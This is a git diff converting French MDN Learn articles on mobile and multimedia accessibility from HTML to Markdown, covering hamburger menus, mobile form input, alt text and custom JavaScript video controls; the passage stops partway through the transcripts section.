+#### Garder les menus accessibles -<p>Étant donné que l'écran est beaucoup plus étroit sur les appareils mobiles, il est très courant d'utiliser des requêtes multimédia et d'autres technologies pour réduire le menu de navigation à une minuscule icône en haut de l'écran, sur laquelle vous pouvez appuyer pour afficher le menu uniquement si c'est nécessaire - lorsque le site est visualisé sur mobile. Ceci est généralement représenté par une icône "trois lignes horizontales" et le motif de conception est par conséquent appelé "menu hamburger".</p> +Étant donné que l'écran est beaucoup plus étroit sur les appareils mobiles, il est très courant d'utiliser des requêtes multimédia et d'autres technologies pour réduire le menu de navigation à une minuscule icône en haut de l'écran, sur laquelle vous pouvez appuyer pour afficher le menu uniquement si c'est nécessaire - lorsque le site est visualisé sur mobile. Ceci est généralement représenté par une icône "trois lignes horizontales" et le motif de conception est par conséquent appelé "menu hamburger". -<p>Lorsque vous implémentez un tel menu, vous devez vous assurer que le contrôle qui le révèle est accessible par les mécanismes de contrôle appropriés (normalement tactile pour mobile), comme indiqué dans {{anch("Control mechanisms")}} ci-dessus, et que le reste de la page est déplacé ou caché d'une manière ou d'une autre pendant l'accès au menu, afin d'éviter toute confusion lors de la navigation. .</p> +Lorsque vous implémentez un tel menu, vous devez vous assurer que le contrôle qui le révèle est accessible par les mécanismes de contrôle appropriés (normalement tactile pour mobile), comme indiqué dans {{anch("Control mechanisms")}} ci-dessus, et que le reste de la page est déplacé ou caché d'une manière ou d'une autre pendant l'accès au menu, afin d'éviter toute confusion lors de la navigation. . -<p>Cliquez ici pour un <a href="http://fritz-weisshart.de/meg_men/">good hamburger menu example</a>.</p> +Cliquez ici pour un [good hamburger menu example](http://fritz-weisshart.de/meg_men/). -<h2 id="Entrée_utilisateur">Entrée utilisateur</h2> +## Entrée utilisateur -<p>Sur les appareils mobiles, la saisie de données a tendance à être plus agaçante pour les utilisateurs que l'expérience équivalente sur les ordinateurs de bureau. Il est plus pratique de taper du texte dans les entrées de formulaire à l'aide d'un clavier d'ordinateur de bureau ou d'ordinateur portable que d'un clavier virtuel à écran tactile ou d'un petit clavier physique mobile.</p> +Sur les appareils mobiles, la saisie de données a tendance à être plus agaçante pour les utilisateurs que l'expérience équivalente sur les ordinateurs de bureau. Il est plus pratique de taper du texte dans les entrées de formulaire à l'aide d'un clavier d'ordinateur de bureau ou d'ordinateur portable que d'un clavier virtuel à écran tactile ou d'un petit clavier physique mobile. -<p>Pour cette raison, il vaut la peine d'essayer de minimiser la quantité de frappe nécessaire. Par exemple, au lieu de forcer les utilisateurs à saisir chaque fois le titre de leur travail en utilisant une entrée de texte standard, vous pouvez proposer un menu {{htmlelement("select")}} contenant les options les plus courantes (ce qui aide également à cohérence dans la saisie des données), et offrent une option "Autre" qui affiche un champ de texte dans lequel taper les valeurs aberrantes. Vous pouvez voir un exemple simple de cette idée en action dans <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html">common-job-types.html</a> ( voir le <a href="http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html">common jobs example live</a>).</p> +Pour cette raison, il vaut la peine d'essayer de minimiser la quantité de frappe nécessaire. Par exemple, au lieu de forcer les utilisateurs à saisir chaque fois le titre de leur travail en utilisant une entrée de texte standard, vous pouvez proposer un menu {{htmlelement("select")}} contenant les options les plus courantes (ce qui aide également à cohérence dans la saisie des données), et offrent une option "Autre" qui affiche un champ de texte dans lequel taper les valeurs aberrantes. Vous pouvez voir un exemple simple de cette idée en action dans [common-job-types.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html) ( voir le [common jobs example live](http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html)). -<p>Il est également utile d’envisager l’utilisation de types de saisie de formulaire au format HTML5, tels que la date sur les plates-formes mobiles car ils les gèrent bien (Android et iOS, par exemple, affichent des widgets utilisables qui correspondent bien à l’expérience de l’appareil. Voir <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html">html5-form-examples.html</a> pour quelques exemples (voir <a href="http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html">HTML5 form examples live</a>) — essayez de les charger et de les manipuler sur des appareils mobiles. Par exemple:</p> +Il est également utile d’envisager l’utilisation de types de saisie de formulaire au format HTML5, tels que la date sur les plates-formes mobiles car ils les gèrent bien (Android et iOS, par exemple, affichent des widgets utilisables qui correspondent bien à l’expérience de l’appareil. Voir [html5-form-examples.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html) pour quelques exemples (voir [HTML5 form examples live](http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html)) — essayez de les charger et de les manipuler sur des appareils mobiles. Par exemple: -<ul> - <li>Les types <code>number</code>, <code>tel</code>, et <code>email</code> affichent des claviers virtuels appropriés pour la saisie de numéros / numéros de téléphone.</li> - <li>Les types <code>time</code> et <code>date</code> affichent des sélecteurs appropriés pour la sélection des heures et des dates. .</li> -</ul> +- Les types `number`, `tel`, et `email` affichent des claviers virtuels appropriés pour la saisie de numéros / numéros de téléphone. +- Les types `time` et `date` affichent des sélecteurs appropriés pour la sélection des heures et des dates. . -<p>Si vous souhaitez fournir une solution différente pour les ordinateurs de bureau, vous pouvez toujours proposer un balisage différent à vos périphériques mobiles à l'aide de la détection de fonctionnalités. Reportez-vous à <a href="http://diveinto.html5doctor.com/detect.html#input-types">input types</a> pour obtenir des informations brutes sur la détection de différents types d'entrée et consultez notre article <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">feature detection article</a> pour en savoir plus. .</p> +Si vous souhaitez fournir une solution différente pour les ordinateurs de bureau, vous pouvez toujours proposer un balisage différent à vos périphériques mobiles à l'aide de la détection de fonctionnalités. Reportez-vous à [input types](http://diveinto.html5doctor.com/detect.html#input-types) pour obtenir des informations brutes sur la détection de différents types d'entrée et consultez notre article [feature detection article](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) pour en savoir plus. . -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Dans cet article, nous vous avons fourni des détails sur les problèmes courants spécifiques à l'accessibilité mobile et sur la façon de les résoudre. Nous vous avons également montré comment utiliser les lecteurs d'écran les plus courants pour vous aider à effectuer des tests d'accessibilité.</p> +Dans cet article, nous vous avons fourni des détails sur les problèmes courants spécifiques à l'accessibilité mobile et sur la façon de les résoudre. Nous vous avons également montré comment utiliser les lecteurs d'écran les plus courants pour vous aider à effectuer des tests d'accessibilité. -<h3 id="Voir_également">Voir également</h3> +### Voir également -<ul> - <li><a href="https://www.smashingmagazine.com/guidelines-for-mobile-web-development/">Guidelines For Mobile Web Development</a> — Une liste d'articles dans Smashing Magazine couvrant différentes techniques de conception de sites Web mobiles.</li> - <li><a href="http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644">Make your site work on touch devices</a> — Article utile sur l'utilisation d'événements tactiles pour que les interactions fonctionnent sur les appareils mobiles.</li> -</ul> +- [Guidelines For Mobile Web Development](https://www.smashingmagazine.com/guidelines-for-mobile-web-development/) — Une liste d'articles dans Smashing Magazine couvrant différentes techniques de conception de sites Web mobiles. +- [Make your site work on touch devices](http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644) — Article utile sur l'utilisation d'événements tactiles pour que les interactions fonctionnent sur les appareils mobiles. -<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div> +{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}} -<div> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li> - <li><a href="/fr/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> - <li><a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> - <li><a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> -</ul> -</div> -</div> +- [What is accessibility?](/fr/docs/Learn/Accessibility/What_is_accessibility) +- [HTML: A good basis for accessibility](/fr/docs/Learn/Accessibility/HTML) +- [CSS and JavaScript accessibility best practices](/fr/docs/Learn/Accessibility/CSS_and_JavaScript) +- [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) +- [Accessible multimedia](/fr/docs/Learn/Accessibility/Multimedia) +- [Mobile accessibility](/fr/docs/Learn/Accessibility/Mobile) +- [Accessibility troubleshooting](/fr/docs/Learn/Accessibility/Accessibility_troubleshooting) diff --git a/files/fr/learn/accessibility/multimedia/index.md b/files/fr/learn/accessibility/multimedia/index.md index e957ae2002..1f6b2ad8c0 100644 --- a/files/fr/learn/accessibility/multimedia/index.md +++ b/files/fr/learn/accessibility/multimedia/index.md @@ -14,139 +14,156 @@ tags: translation_of: Learn/Accessibility/Multimedia original_slug: Apprendre/a11y/Multimedia --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}} -<div>{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}</div> - -<p>Le multimédia est une autre catégorie de contenu susceptible de créer des problèmes d'accessibilité: les contenus vidéo, audio et images doivent disposer de solutions de remplacement textuelles appropriées pour être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment.</p> +Le multimédia est une autre catégorie de contenu susceptible de créer des problèmes d'accessibilité: les contenus vidéo, audio et images doivent disposer de solutions de remplacement textuelles appropriées pour être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Conditions requise:</th> - <td>Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension de <a href="/fr/docs/Apprendre/a11y/What_is_accessibility"> Qu'est ce que l'accessibilité?</a></td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre les problèmes d'accessibilité derrière le multimédia et comment les résoudre .</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Conditions requise:</th> + <td> + Connaissances informatiques de base, une compréhension de base de HTML, + CSS et JavaScript, une compréhension de + <a href="/fr/docs/Apprendre/a11y/What_is_accessibility" + >Qu'est ce que l'accessibilité?</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Comprendre les problèmes d'accessibilité derrière le multimédia et + comment les résoudre . + </td> + </tr> + </tbody> </table> -<h2 id="Multimédia_et_accessibilité">Multimédia et accessibilité</h2> +## Multimédia et accessibilité -<p>Jusqu'ici, dans ce module, nous avons examiné une variété de contenus et ce qui doit être fait pour en assurer l'accessibilité, du simple contenu textuel aux tableaux de données, en passant par les images, les contrôles natifs tels que les éléments de formulaire et les boutons, et des structures de balisage encore plus complexes. (avec <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> l'attribut).</p> +Jusqu'ici, dans ce module, nous avons examiné une variété de contenus et ce qui doit être fait pour en assurer l'accessibilité, du simple contenu textuel aux tableaux de données, en passant par les images, les contrôles natifs tels que les éléments de formulaire et les boutons, et des structures de balisage encore plus complexes. (avec [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) l'attribut). -<p>Cet article, par contre, examine une autre catégorie générale de contenu pour laquelle il est difficile d’assurer l’accessibilité au multimédia. Les images, les vidéos, les éléments {{htmlelement ("canvas")}} les animations Flash, etc. ne sont pas aussi faciles à comprendre par les lecteurs d'écran ou à naviguer au clavier, et nous devons leur donner un coup de main.</p> +Cet article, par contre, examine une autre catégorie générale de contenu pour laquelle il est difficile d’assurer l’accessibilité au multimédia. Les images, les vidéos, les éléments {{htmlelement ("canvas")}} les animations Flash, etc. ne sont pas aussi faciles à comprendre par les lecteurs d'écran ou à naviguer au clavier, et nous devons leur donner un coup de main. -<p>Mais ne désespérez pas - nous vous aiderons ici à naviguer parmi les techniques disponibles pour rendre le multimédia plus accessible.</p> +Mais ne désespérez pas - nous vous aiderons ici à naviguer parmi les techniques disponibles pour rendre le multimédia plus accessible. -<h2 id="Simple_images">Simple images</h2> +## Simple images -<p>Nous avons déjà couvert des alternatives textuelles simples pour les images HTML dans notre article <a href="/fr/docs/Apprendre/a11y/HTML"> HTML : une bonne base pour l'accessibilité</a> — vous pouvez vous y référer pour plus de détails. En bref, vous devez vous assurer que, dans la mesure du possible, le contenu visuel dispose d’un texte alternatif que les lecteurs d’écran peuvent lire et lire à leurs utilisateurs.</p> +Nous avons déjà couvert des alternatives textuelles simples pour les images HTML dans notre article [ HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML) — vous pouvez vous y référer pour plus de détails. En bref, vous devez vous assurer que, dans la mesure du possible, le contenu visuel dispose d’un texte alternatif que les lecteurs d’écran peuvent lire et lire à leurs utilisateurs. -<p>Par exemple:</p> +Par exemple: -<pre class="brush: html"><img src="dinosaur.png" - alt=" Un Tyrannosaure Rex rouge: Un dinosaure a deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tete avec beaucoup de dents acerees ."> -</pre> +```html +<img src="dinosaur.png" + alt=" Un Tyrannosaure Rex rouge: Un dinosaure a deux pattes se tenant droit comme un humain, avec de petits bras et une grosse tete avec beaucoup de dents acerees ."> +``` -<h2 id="Commandes_audio_et_vidéo_accessibles">Commandes audio et vidéo accessibles</h2> +## Commandes audio et vidéo accessibles -<p>La mise en œuvre de contrôles audio / vidéo sur le Web ne devrait pas poser de problème, n'est-ce pas? Enquêtons .</p> +La mise en œuvre de contrôles audio / vidéo sur le Web ne devrait pas poser de problème, n'est-ce pas? Enquêtons . -<h3 id="Le_problème_avec_les_contrôles_HTML5_natifs">Le problème avec les contrôles HTML5 natifs</h3> +### Le problème avec les contrôles HTML5 natifs -<p>Les instances audio et vidéo HTML5 sont même fournies avec un ensemble de commandes intégrées vous permettant de contrôler le contenu multimédia directement. Par exemple (voir <code>native-controls.html</code> <a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html">code source</a> et <a href="https://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html">en direct</a>):</p> +Les instances audio et vidéo HTML5 sont même fournies avec un ensemble de commandes intégrées vous permettant de contrôler le contenu multimédia directement. Par exemple (voir `native-controls.html` [code source](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html) et [en direct](https://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html)): -<pre class="brush: html"><audio controls> - <source src="viper.mp3" type="audio/mp3"> - <source src="viper.ogg" type="audio/ogg"> - <p> Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="viper.mp3"> lien vers l\'audio </a> au lieu .</p> -</audio> +```html +<audio controls> + <source src="viper.mp3" type="audio/mp3"> + <source src="viper.ogg" type="audio/ogg"> + <p> Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="viper.mp3"> lien vers l\'audio </a> au lieu .</p> +</audio> -<br> +<br> -<video controls> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p> -</video></pre> +<video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p> +</video> +``` -<p>L'attribut controls comporte des boutons de lecture / pause, une barre de recherche, etc. - les commandes de base que vous êtes en droit d'attendre d'un lecteur multimédia. Il semble que dans Firefox et Chrome :</p> +L'attribut controls comporte des boutons de lecture / pause, une barre de recherche, etc. - les commandes de base que vous êtes en droit d'attendre d'un lecteur multimédia. Il semble que dans Firefox et Chrome : -<p><img alt="Screenshot of Video Controls in Firefox" src="native-controls-firefox.png"></p> + -<p><img alt="Screenshot of Video Controls in Chrome" src="native-controls-chrome.png"></p> + -<p>Cependant, il y a des problèmes avec ces contrôles :</p> +Cependant, il y a des problèmes avec ces contrôles : -<ul> - <li>Ils ne sont pas accessibles au clavier, dans aucun navigateur, sauf Opera.</li> - <li>Différents navigateurs donnent aux contrôles natifs un style et des fonctionnalités différents. Ils ne sont pas stylables, ce qui signifie qu'ils ne peuvent pas être facilement conçus pour suivre un guide de style du site. .</li> -</ul> +- Ils ne sont pas accessibles au clavier, dans aucun navigateur, sauf Opera. +- Différents navigateurs donnent aux contrôles natifs un style et des fonctionnalités différents. Ils ne sont pas stylables, ce qui signifie qu'ils ne peuvent pas être facilement conçus pour suivre un guide de style du site. . -<p>Pour remédier à cela, nous pouvons créer nos propres contrôles personnalisés. Regardons comment.</p> +Pour remédier à cela, nous pouvons créer nos propres contrôles personnalisés. Regardons comment. -<h3 id="Création_de_contrôles_audio_et_vidéo_personnalisés">Création de contrôles audio et vidéo personnalisés</h3> +### Création de contrôles audio et vidéo personnalisés -<p>La vidéo et l'audio HTML5 partagent une API - HTML Media Element - qui vous permet de mapper des fonctionnalités personnalisées à des boutons et à d'autres commandes, que vous définissez vous-même. .</p> +La vidéo et l'audio HTML5 partagent une API - HTML Media Element - qui vous permet de mapper des fonctionnalités personnalisées à des boutons et à d'autres commandes, que vous définissez vous-même. . -<p>Prenons l'exemple vidéo ci-dessus et ajoutons-leur des contrôles personnalisés .</p> +Prenons l'exemple vidéo ci-dessus et ajoutons-leur des contrôles personnalisés . -<h4 id="Basic_setup">Basic setup</h4> +#### Basic setup -<p>Tout d'abord, prenez une copie de notre <a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html">custom-controls-start.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css">custom-controls.css</a>, <a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4">rabbit320.mp4</a>, et <a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm">rabbit320.webm</a> fichiers et enregistrez-les dans un nouveau répertoire sur votre disque dur .</p> +Tout d'abord, prenez une copie de notre [custom-controls-start.html](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html), [custom-controls.css](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css), [rabbit320.mp4](https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4), et [rabbit320.webm](https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm) fichiers et enregistrez-les dans un nouveau répertoire sur votre disque dur . -<p>Créez un nouveau fichier appelé main.js et enregistrez-le dans le même répertoire .</p> +Créez un nouveau fichier appelé main.js et enregistrez-le dans le même répertoire . -<p>Tout d’abord, regardons le code HTML pour le lecteur vidéo, dans le code HTML:</p> +Tout d’abord, regardons le code HTML pour le lecteur vidéo, dans le code HTML: -<pre class="brush: html"><section class="player"> - <video controls> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p> - </video> +```html +<section class="player"> + <video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p> + </video> - <div class="controls"> - <button class="playpause">Play</button> - <button class="stop">Stop</button> - <button class="rwd">Rwd</button> - <button class="fwd">Fwd</button> - <div class="time">00:00</div> - </div> -</section></pre> + <div class="controls"> + <button class="playpause">Play</button> + <button class="stop">Stop</button> + <button class="rwd">Rwd</button> + <button class="fwd">Fwd</button> + <div class="time">00:00</div> + </div> +</section> +``` -<h4 id="JavaScript_basic_setup">JavaScript basic setup</h4> +#### JavaScript basic setup -<p>Nous avons inséré quelques boutons de commande simples sous notre vidéo. Bien sûr, ces contrôles ne feront rien par défaut; pour ajouter des fonctionnalités, nous allons utiliser JavaScript .</p> +Nous avons inséré quelques boutons de commande simples sous notre vidéo. Bien sûr, ces contrôles ne feront rien par défaut; pour ajouter des fonctionnalités, nous allons utiliser JavaScript . -<p>Nous devrons d’abord stocker les références à chacun des contrôles - ajoutez ce qui suit en haut de votre fichier JavaScript:</p> +Nous devrons d’abord stocker les références à chacun des contrôles - ajoutez ce qui suit en haut de votre fichier JavaScript: -<pre class="brush: js">var playPauseBtn = document.querySelector('.playpause'); +```js +var playPauseBtn = document.querySelector('.playpause'); var stopBtn = document.querySelector('.stop'); var rwdBtn = document.querySelector('.rwd'); var fwdBtn = document.querySelector('.fwd'); -var timeLabel = document.querySelector('.time');</pre> +var timeLabel = document.querySelector('.time'); +``` -<p>Ensuite, nous devons saisir une référence au lecteur vidéo / audio lui-même - ajoutez cette ligne sous les lignes précédentes:</p> +Ensuite, nous devons saisir une référence au lecteur vidéo / audio lui-même - ajoutez cette ligne sous les lignes précédentes: -<pre class="brush: js">var player = document.querySelector('video');</pre> +```js +var player = document.querySelector('video'); +``` -<p>Ceci contient une référence à un objet {{domxref ("HTMLMediaElement")}} qui possède plusieurs propriétés et méthodes utiles disponibles qui peuvent être utilisées pour connecter des fonctionnalités à nos boutons.</p> +Ceci contient une référence à un objet {{domxref ("HTMLMediaElement")}} qui possède plusieurs propriétés et méthodes utiles disponibles qui peuvent être utilisées pour connecter des fonctionnalités à nos boutons. -<p>Avant de passer à la création de notre fonctionnalité de bouton, supprimons les contrôles natifs afin qu'ils ne gênent pas nos contrôles personnalisés. Ajoutez ce qui suit, encore une fois au bas de votre JavaScript:</p> +Avant de passer à la création de notre fonctionnalité de bouton, supprimons les contrôles natifs afin qu'ils ne gênent pas nos contrôles personnalisés. Ajoutez ce qui suit, encore une fois au bas de votre JavaScript: -<pre class="brush: js">player.removeAttribute('controls');</pre> +```js +player.removeAttribute('controls'); +``` -<p>Le fait de procéder ainsi plutôt que de ne pas inclure les attributs de contrôle en premier lieu présente l'avantage que si notre JavaScript échoue pour une raison quelconque, l'utilisateur dispose toujours de certains contrôles.</p> +Le fait de procéder ainsi plutôt que de ne pas inclure les attributs de contrôle en premier lieu présente l'avantage que si notre JavaScript échoue pour une raison quelconque, l'utilisateur dispose toujours de certains contrôles. -<h4 id="Câbler_nos_boutons">Câbler nos boutons</h4> +#### Câbler nos boutons -<p>Commençons par configurer le bouton lecture / pause. Nous pouvons le faire basculer entre lecture et pause avec une simple fonction conditionnelle, comme ci-dessous. Ajoutez-le à votre code, en bas:</p> +Commençons par configurer le bouton lecture / pause. Nous pouvons le faire basculer entre lecture et pause avec une simple fonction conditionnelle, comme ci-dessous. Ajoutez-le à votre code, en bas: -<pre class="brush: js">playPauseBtn.onclick = function() { +```js +playPauseBtn.onclick = function() { if(player.paused) { player.play(); playPauseBtn.textContent = 'Pause'; @@ -154,52 +171,58 @@ var timeLabel = document.querySelector('.time');</pre> player.pause(); playPauseBtn.textContent = 'Play'; } -};</pre> +}; +``` -<p>Ensuite, ajoutez ce code en bas, qui contrôle le bouton d'arrêt:</p> +Ensuite, ajoutez ce code en bas, qui contrôle le bouton d'arrêt: -<pre class="brush: js">stopBtn.onclick = function() { +```js +stopBtn.onclick = function() { player.pause(); player.currentTime = 0; playPauseBtn.textContent = 'Play'; -};</pre> +}; +``` -<p>Il n'y a pas de fonction <code>stop()</code> disponible sur {{domxref("HTMLMediaElement")}}s, nous le mettons donc en <code>pause()</code> et, dans le même temps, définissons la valeur <code>currentTime</code> sur 0.</p> +Il n'y a pas de fonction `stop()` disponible sur {{domxref("HTMLMediaElement")}}s, nous le mettons donc en `pause()` et, dans le même temps, définissons la valeur `currentTime` sur 0. -<p>Ensuite, nos boutons de rembobinage et d’avance rapide - ajoutez les blocs suivants au bas de votre code:</p> +Ensuite, nos boutons de rembobinage et d’avance rapide - ajoutez les blocs suivants au bas de votre code: -<pre class="brush: js">rwdBtn.onclick = function() { +```js +rwdBtn.onclick = function() { player.currentTime -= 3; }; fwdBtn.onclick = function() { player.currentTime += 3; - if(player.currentTime >= player.duration || player.paused) { + if(player.currentTime >= player.duration || player.paused) { player.pause(); player.currentTime = 0; playPauseBtn.textContent = 'Play'; } -};</pre> +}; +``` -<p>Celles-ci sont très simples, il suffit d’ajouter ou de soustraire 3 secondes à <code>currentTime</code> chaque fois qu’on clique dessus. Dans un vrai lecteur vidéo, vous voudrez probablement une barre de recherche plus élaborée, ou similaire.</p> +Celles-ci sont très simples, il suffit d’ajouter ou de soustraire 3 secondes à `currentTime` chaque fois qu’on clique dessus. Dans un vrai lecteur vidéo, vous voudrez probablement une barre de recherche plus élaborée, ou similaire. -<p>Notez que nous vérifions également si la durée <code>currentTime</code> est supérieure à la durée totale du support ou si le support n'est pas en cours de lecture lorsque le bouton Fwd est enfoncé. Si l'une ou l'autre de ces conditions est vraie, nous arrêtons simplement la vidéo pour éviter que l'interface utilisateur ne se détériore si elle tente d'effectuer une avance rapide lorsque la vidéo n'est pas en cours de lecture ou si la fin de la vidéo est terminée. .</p> +Notez que nous vérifions également si la durée `currentTime` est supérieure à la durée totale du support ou si le support n'est pas en cours de lecture lorsque le bouton Fwd est enfoncé. Si l'une ou l'autre de ces conditions est vraie, nous arrêtons simplement la vidéo pour éviter que l'interface utilisateur ne se détériore si elle tente d'effectuer une avance rapide lorsque la vidéo n'est pas en cours de lecture ou si la fin de la vidéo est terminée. . -<p>Enfin, ajoutez ce qui suit à la fin du code pour contrôler l’affichage du temps écoulé:</p> +Enfin, ajoutez ce qui suit à la fin du code pour contrôler l’affichage du temps écoulé: -<pre class="brush: js">player.ontimeupdate = function() { +```js +player.ontimeupdate = function() { var minutes = Math.floor(player.currentTime / 60); var seconds = Math.floor(player.currentTime - minutes * 60); var minuteValue; var secondValue; - if (minutes<10) { + if (minutes<10) { minuteValue = "0" + minutes; } else { minuteValue = minutes; } - if (seconds<10) { + if (seconds<10) { secondValue = "0" + seconds; } else { secondValue = seconds; @@ -207,160 +230,142 @@ fwdBtn.onclick = function() { mediaTime = minuteValue + ":" + secondValue; timeLabel.textContent = mediaTime; -};</pre> - -<p>Chaque fois que l'heure est mise à jour (une fois par seconde), nous activons cette fonction. Il calcule le nombre de minutes et de secondes à partir de la valeur actuelle donnée en secondes, ajoute un 0 au début si la valeur de minute ou de seconde est inférieure à 10, puis crée la lecture d'affichage et l'ajoute à l'étiquette de temps.</p> +}; +``` -<h4 id="Lectures_complémentaires">Lectures complémentaires</h4> +Chaque fois que l'heure est mise à jour (une fois par seconde), nous activons cette fonction. Il calcule le nombre de minutes et de secondes à partir de la valeur actuelle donnée en secondes, ajoute un 0 au début si la valeur de minute ou de seconde est inférieure à 10, puis crée la lecture d'affichage et l'ajoute à l'étiquette de temps. -<p>Cela vous donne une idée de base sur la manière d’ajouter des fonctionnalités de lecteur personnalisées aux instances de lecteur vidéo / audio. Pour plus d'informations sur l'ajout de fonctionnalités plus complexes aux lecteurs vidéo / audio, y compris les solutions de secours Flash pour les navigateurs plus anciens, voir aussi:</p> +#### Lectures complémentaires -<ul> - <li><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and video delivery</a></li> - <li><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player styling basics</a></li> - <li><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a></li> -</ul> +Cela vous donne une idée de base sur la manière d’ajouter des fonctionnalités de lecteur personnalisées aux instances de lecteur vidéo / audio. Pour plus d'informations sur l'ajout de fonctionnalités plus complexes aux lecteurs vidéo / audio, y compris les solutions de secours Flash pour les navigateurs plus anciens, voir aussi: -<p>Nous avons également créé un exemple avancé pour montrer comment créer un système orienté objet permettant de rechercher tous les lecteurs vidéo et audio de la page (quel que soit leur nombre) et d'y ajouter nos contrôles personnalisés. Voir <a href="http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/">custom-controls-oojs</a> ( également <a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS">voir le code source</a>).</p> +- [Audio and video delivery](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery) +- [Video player styling basics](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics) +- [Creating a cross-browser video player](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player) -<h2 id="Transcriptions_audio">Transcriptions audio</h2> +Nous avons également créé un exemple avancé pour montrer comment créer un système orienté objet permettant de rechercher tous les lecteurs vidéo et audio de la page (quel que soit leur nombre) et d'y ajouter nos contrôles personnalisés. Voir [custom-controls-oojs](http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/) ( également [voir le code source](https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS)). -<p>Pour permettre aux sourds d'accéder au contenu audio, vous devez créer des transcriptions de texte. Ceux-ci peuvent être soit inclus sur la même page que l'audio d'une manière ou d'une autre, soit inclus sur une page séparée et liés à.</p> +## Transcriptions audio -<p>En termes de création de la transcription, vos options sont les suivantes:</p> +Pour permettre aux sourds d'accéder au contenu audio, vous devez créer des transcriptions de texte. Ceux-ci peuvent être soit inclus sur la même page que l'audio d'une manière ou d'une autre, soit inclus sur une page séparée et liés à. -<ul> - 